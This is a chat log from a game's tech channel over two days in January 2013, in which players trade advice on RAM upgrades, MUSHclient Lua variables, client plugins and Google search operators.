T3/r7/2013-01-13.txt.gz:{chan ch=tech}Aqiz Tech: buy a bunch! Dirt cheap.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: rather dirt expensive
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Lappy, or tower?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: I swear to god, I really hate the way these arrays are setup
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: tower
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: If I asked you if your motherboard supported DDR3, would you know the answer?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: i use ddr2...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Kelvar Tech: mine does vakieh
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Know your mobo model?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: mobo?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: motherboard
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: sec i know its foxconn
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: vak, P4M800P7MB
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Who makes a mobo with 2 ddr2 dimms but only single channel? Turns out foxconn does o.0
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: You can put a maximum of 4 gb in that thing, with 2x2gb sticks. Kingston is the only company still making compatible 2gb sticks, going for $34 ish per stick
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: plus shipping to south africa...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: http://www.amazon.com/dp/B001RMAWEY/?tag=pcpapi-20
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: And yes, plus shipping
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Trachx Tech: if it is win xp you cannot use more than 3gig 
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: I can get it shipped to au for AU$3.42 though
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Trachx Tech: or rather if it is 32-bit, XP SP3
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: I used 4gb on XP no issues
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: SP2 even
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: That said, he has ReadyBoost, so earliest is Vista
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: i use win 8 pro
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Trachx Tech: anyway, IIRC Windows 7 32-bit is not able to use whole 4GB
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: It uses whole 4gb, but some is pre-allocated to OS, same as always.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: You shouldn't :-P Win8 on 1gb is just insane
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: it runs fine for mw
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: it runs fine for me
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Then why try and speed things up with ReadyBoost - clearly you have issues with the speed
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Trachx Tech: without PAE you have limited address space, so if you have GPU with its own memory, then it decreases available RAM
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: tbh with 1gb ram you should try Ubuntu. At least until you upgrade the RAM on it - run off that USB you mentioned
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: I used a GT9600 on that XP machine, which had 1gb of memory - still got the full 4gb of ram working fine. That said, not sure if the OS had direct access to that GPU memory
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Is there a command to not stop the script on error?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: I really really hate when SetVariable just decides to not work
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: super annoying
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Rofl... SetVariable doesn't work with "0" but works with "1"
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Did you do setVariable("0"), or setVariable(0) ?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: SetVariable("variable" "0")
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: with a comma
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: SetVariable("variable", "0")
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: that exaclty
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: works flawlessly here
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: its inside of an if / else statement
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: might be messing with it
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: My prefix is / and lang set to Lua, /SetVariable("Testvar", "0") works fine
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: actually 1 isn't working either
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: noen of em are
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: your if isn't passing
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: 'not working' means what exactly
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: do you have a then?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Yea, I set up some debugs too
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Then works, else works
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: You seeing errors, or just nothing happens?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: its "Else, then "Note("Else working" then Setvariable, then Noteagain checking variable
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: after the if you need a then before the else...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: the IF THEN is working correctly
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: I just created a quick alias and its doing the same thing
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: and there's no then after the else
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: and you have it send to script rather than world and execute
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: yup doing all that
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: ohhhhh, how are you checking the variable after set?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: that's your issue...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Note
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: @variable is not in the SetVariable scope...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: I'm using Note(variable)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: that wouldn't work
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Ah.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: @variable is for a variable set using varname = 0
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: you'd want GetVariable() to use the variables which were created using SetVariable
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: And Note uses ariable? or the varname = 0 ?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: @variable
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: plugins will usually use SetVariable and GetVariable for storing the variables, but will then use varname = GetVariable(varname) so that they can reference the variable more easily using just its name
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Ok, thank you. Let me fiddle around and see how they are all matching up :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: so your note would be: Note(GetVariable("testvariable"))
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Ashiya Tech: but wouldn't ariable get the variable stored in variable?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: im using some local variabels as well
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: no, it's a different variable scope
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: unless there's a varname = GetVariable("varname") *AFTER* the setvariable, the @varname scope would have the older value
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Ashiya Tech: ehh, but wouldn't @testvariable get what's stored in testveriable?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: it will get what is stored in testvariable = xxx...NOT what is stored in SetVariable("testvariable")
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: The @ notation is only used in the GUI. Lua doesn't know or care about @
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: they are two different variables which just happen to have the same name
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: so how do you set a GUI variable from within the script?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Say you have a variable myVar. SetVariable("myVar", "5") uses a completely different variable than myVar = 5
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Ashiya Tech: hmm I have an variable made with SetVariable for dual wielding, and that works
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Because you subsequently access it via the GUI, not Lua
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Ashiya Tech: like SetVariable("dual" , "(09089723)") then dual @dual will actually dual the weapon I set with SetVariable
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Gammon has a nifty little youtube about it
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: dual @dual is in the gui, not script
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: so there is global variables, local variables, gui variables?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: If you tried world.Send("dual " .. ual) it would fail
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: not really gui variables,but there are world and mushclient variables
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: (fixed) If you tried world.Send("dual " .. @dual) it would fail
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Alright! I got it display the right number using your method Abel.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Ashiya Tech: ahh that makes sense :)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: now to see if im even testing the right variables now :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: I created a testvariable of 0...then I did \\\Note(GetVariable("testvariable")) and it printed 0...I then did \\\Note(testvariable) and it printed nil...I did \\\Note("testvariable") and it printed "testvariable"...did \\\Note(@testvariable) and it barfed on the @ ;-)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: (created that testvariable using GetVariable, so it showed in game -> configure -> variables
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: its funny though, if you open up the variable box it displays it actually works :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: err Set
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: Yes Hal, it will appear through setvar. But you must use getvar to subsequently access it
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: So SetVariable sets the mushclient variable, but it won't transfer over to Lua script variables
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: yes, the game -> configure -> variables shows the SetVariable() variables
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: unless you use get
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: ok cool :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Vakieh Tech: They will transfer, through the GetVariable function
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: whenever you use SetVariable, you get that one using GetVariable
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: think of them as a pair
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Ahhh ok.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: But "GetVar" is built into Setvar?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: they persist longer than varname = value, but varname = value is easier to write...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Ashiya Tech: out of curiousity, why doesn't Send(dual @dual) for example work? Don't you send the command for mush to use?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: So really if i wanted to I could pass all my GetVars to varname = and then when I was done pass them back .
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: so if you want to write them often in a given script, you varname = GetVariable("varname"), and can then use them the easy way
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Ok great.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: and I'm glad im not crazy
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: just remember that they're set as of the equals...so the varname = GetVariable("varname") must be AFTER the SetVariable("varname","value")
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Rgr.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: I got that in something that I made with an incrementer...my echo was always one iteration behind until I realized where it was being converted over
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: Yeah, it was definitely making me a bit crazy because it always seemed to fix itself after I started the script again
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: which makes sense because I passed it thru in the beginning
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: thanks guys
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: no prob :-)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: haha its funny going back i've done it acouple times and was getting wrong values
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: thanks again for all your help Vakieh
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Here I was trying to figure out why list-style-type: none didn't work, and all this while there was a literal â¢included.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Mendaloth Tech: Anyone get an issue where when they type CTRL+SHIFT+P highlight a plugin and click reinstall - it reinstalls more than one plugin?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Mendaloth Tech: In mushclient that is...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: why is that an issue?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: anyway, you can send me a list of instances that you think are wrong or misleading and I'll see about fixing them
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Cody Tech: anyone know of a plugin that helps to play poker and kill stuff? like have your poker in a mini window so i can still keep trackof whats going on and be able to kill stuff too. i cant keep up with both for how fast the screen moves as it is now
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Cody Tech: i use aardmush client
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Daresia Tech: ooh, that'd be pretty neat.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Turie Tech: Daresia can code it.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Daresia Tech: nah, i really hate doing gui stuff.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Sparkleface Tech: so, I just tried out mudlet with the MAG enhancements but decided to go back to old school TinTin
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Sparkleface Tech: but now I have a line displaying underneath my prompt
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Sparkleface Tech: it is labeled stats.  any idea how to get rid of it?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: Try out the aardmush client.  MUCH better than MaG, though there are a few features that I'd like to have from it.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: tag?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: type statmon to toggle that line
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: as for removing the stats and yeah...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Sparkleface Tech: cool, thank you.  statmon did the trick.  I'll try out aardmush too
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Gloindren Tech: atleast with aardmush it's a seperate client so if you don't like it you can go back to tintin wihtout anything left behind
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: hahaha.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Just hahaha.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: Have you ever wanted to tell Facebook founder and CEO Mark Zuckerberg how much of a douche you think he is? Well, now you have the chance. The world's largest social network is offering its users a chance to send a message directly to Zuckerbergs inbox -- for $100.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Kelvar Tech: that's kinda sad
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: lol
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Siren Cera Tech: costs $100 to basicly send him an email?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: "Send me a message! Pay me $100 first!"
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Siren Cera.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Kelvar Tech: and you wont be sending him anyhow, but some dweebs working for him
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Siren Cera Tech: wow.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Siren Cera Tech: is there any guarentee he'll actually read it?  LOL
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Trisha Tech: Psh that's cheap, I only charge 1 million to send to my inbox yes.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: That's why I had to laugh.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: "OMG! I get to reach out and talk to a celebrity for $100!!!! OMG!!!111111!!!!!!" :p
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Trisha Tech: but the bad part is there are going to be idiots who will send him a message for 100 dollars.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Book of Etzli Tech: I suppose Facebook has to find a way to pay for spending billions on Instagram and whatnot.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: they likely bought the stock too.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: anyone have any ideas on how to get the blowtorch app to wokr properly? The touch screen bottons wont work for me. ive uninstalled and reinstalled the program, and also restared my phone.  my phone is not having any trouble with the touch screen when using any other app.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Bast Tech: make it so that it isn't full screen, type .togglefullscreen
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Versa Tech: anyone usin the broadcast bast plugins?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Mendaloth Tech: Me!
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Mendaloth Tech: In that I use basts and they are required...
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Prince Wario Tech: what's the point of broadcasting
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Versa Tech: i loaded the plugins and when i level and such they dont seem to do anything
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Prince Wario Tech: I know where I"m at
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Versa Tech: it doesnt give me my time to level and and such
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: did you download the statmon plugin?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Versa Tech: no, just the broadcasts whens..
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: the statmon puts everything into a window and you can see all your kill stats
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Versa Tech: ok, i seen the ones that put the info in group tell and such and thought it was the broadcast plugin
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: if you click on the wiki tab it should tell you what each plugin does?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Haldrik Tech: and look at the screen shot u can see what the stats windows looks like
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Versa Tech: ok, i will play around with it some more and see what happens
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Bast Tech: load StatDB, StatMonitor and miniwin_stats to get the stuff you are looking for
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Imon Tech: is there some command that sets your automap info to always be the same size, for capturing purposes?
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Hanslanda Tech: yes, umm, shortmap, I think.  It's found in the CONFIG ALL list, if I recall.
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: automap is always the same size
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: also, check out map tags
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Imon Tech: cool thanks:)
T3/r7/2013-01-13.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: shortmap makes it not always the same size :P
T3/r7/2013-01-13.txt.gz:{chan ch=tech}Imon Tech: shortmap it was, thanks
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Google's search altogrithm is really weird sometimes. If you search for "sequel", Google will also search for the number 2 (I can tell because every single "2" in the little blurbs for the hits is bolded).
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: well, is not "MovieTite 2" a sequel?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: MovieTitle*
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Except sequels can be 3's, 4's, 5's, etc., and those aren't bolded.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Leinei Tech: You can put double quotes around the word, and it will only search for that exact word
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: http://www.powersearchingwithgoogle.com/course/ps/assets/PowerSearchingQuickReference.pdf
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Good reference. Take the Advanced Class, too. Get a certificate.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Hmmm... that helped. Putting quotes around "sequel" eliminated the 2's.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: "plus (+): Does not mean and, nor does it force 
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: "plus (+): Does not mean and, nor does it force inclusion of a word. Google can search for certain plus signs after a word (e.x., C++ and Google+). A plus sign before a search term, used as an operator, looks for a Google+ Page by that name. "
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Did not know that.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Redryn Tech: i wish google supported regex or something :p
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Well I did :P. I think Google USED to use the "+" thingie way back when they first started (because that's how all search engines operated), but they dropped it years ago.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Redryn.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Leinei Tech: I don't think google supports + anymore
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Leinei: They do, but to find google+ pages, as I just pointed out.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: That was from the latest Power Searching with Google course.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: course, heh
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: What's cool is the "undocumented" AROUND search parameter.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Leinei Tech: huh, hadn't tried it recently, since it would tell me "don't use + anymore, use quotes".
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: It's an actual course, Santher. You get a certificate and everything. ;)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Leinei Tech: is AROUND the same as NEAR?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't know. But you do "searchtearm AROUND(#) othersearchtearm"
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Where # is the distance away from the first search term.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: so that's like 5 minute course?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Actually, no, Santher.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Leinei Tech: You can buy whole books in the bookstore dedicated to searching on google.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: lol
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: This is a free course, for that matter. ;)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: http://www.powersearchingwithgoogle.com/
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: i just tell people to ask it questions like you would ask a person...
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Two week course, in fact.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: how do i... etc
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, but there's so much more to it to find the exact results you need. Very useful in my job, actually.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: i guess if you want to skip a step
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: and don't wanna load yahoo answers :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Not really "skip a step" at all.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: My job usually requires specific research for clients. Finding serial numbers for Beechcraft Staggerwing Models, for instance.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: shrug i've never had a problem with google
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Neither have I.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: But if it cuts down my searching from 20 minutes to 5 minutes, I'm happy.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: yeah i usually just go to dogpile if it takes that long\
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: google was built around being easy... if i have to learn special junk it's missing the point imo
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: google was built around being both easy and powerful...easy doesn't need special terms, but powerful always will
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: i have the power!
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Just like MUSH is built on being "easy", but if you want it to be "powerful", you need to know special syntax.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: Book of Etzli's shifty eyes dart back and forth.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: gawd you mean i need scripts for google now?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Don't need scripts for google, but if you want to get the best answer without all the crap in between... :p
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: A bright, shiny gold halo appears over Book of Etzli's head.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: yeah i guess they ditched the easy way of doing that
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: What I wanna know is why they adjusted their spell check filter. You used to be able to mangle a search term pretty badly and Google would be pretty good at correct you with its "Did you mean" suggestions. Now, it's like if you're more than two characters off, Google just won't be of any help at all (as in NO suggestions).
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Summoner Yuna.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Friend of mine had difficulty with "plagiarism" the other night.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: personally i like "advanced search" links
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Quelz Tech: perhaps the amount of 'searchable' things became so great, that google can no longer give you an accurate search
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: You mean overnight?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: That's why you learn to narrow it down.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Quelz Tech: who uses google that much?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Because the change pretty much happened overnight.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Narrow it down by time frame, location, etc.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Quelz: I do.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: I like to Google new words all the time. I read a lot and sometimes I'll run into a word I don't know. I'll Google that *manure*.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: That's a great song... Google that *Manure* yo. :p
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Quelz Tech: sometimes i use google for *poo*
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: yuna: the change in order to keep up would've happened overnight...just the reason for its necessity didn't
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Meh, if it's a word I don't know, I get Melvin on the job.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: [Melvin]: manure (noun) : Material, especially barnyard or stable dung, often with discarded animal bedding, used to fertilize soil.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: A bright, shiny gold halo appears over Book of Etzli's head.
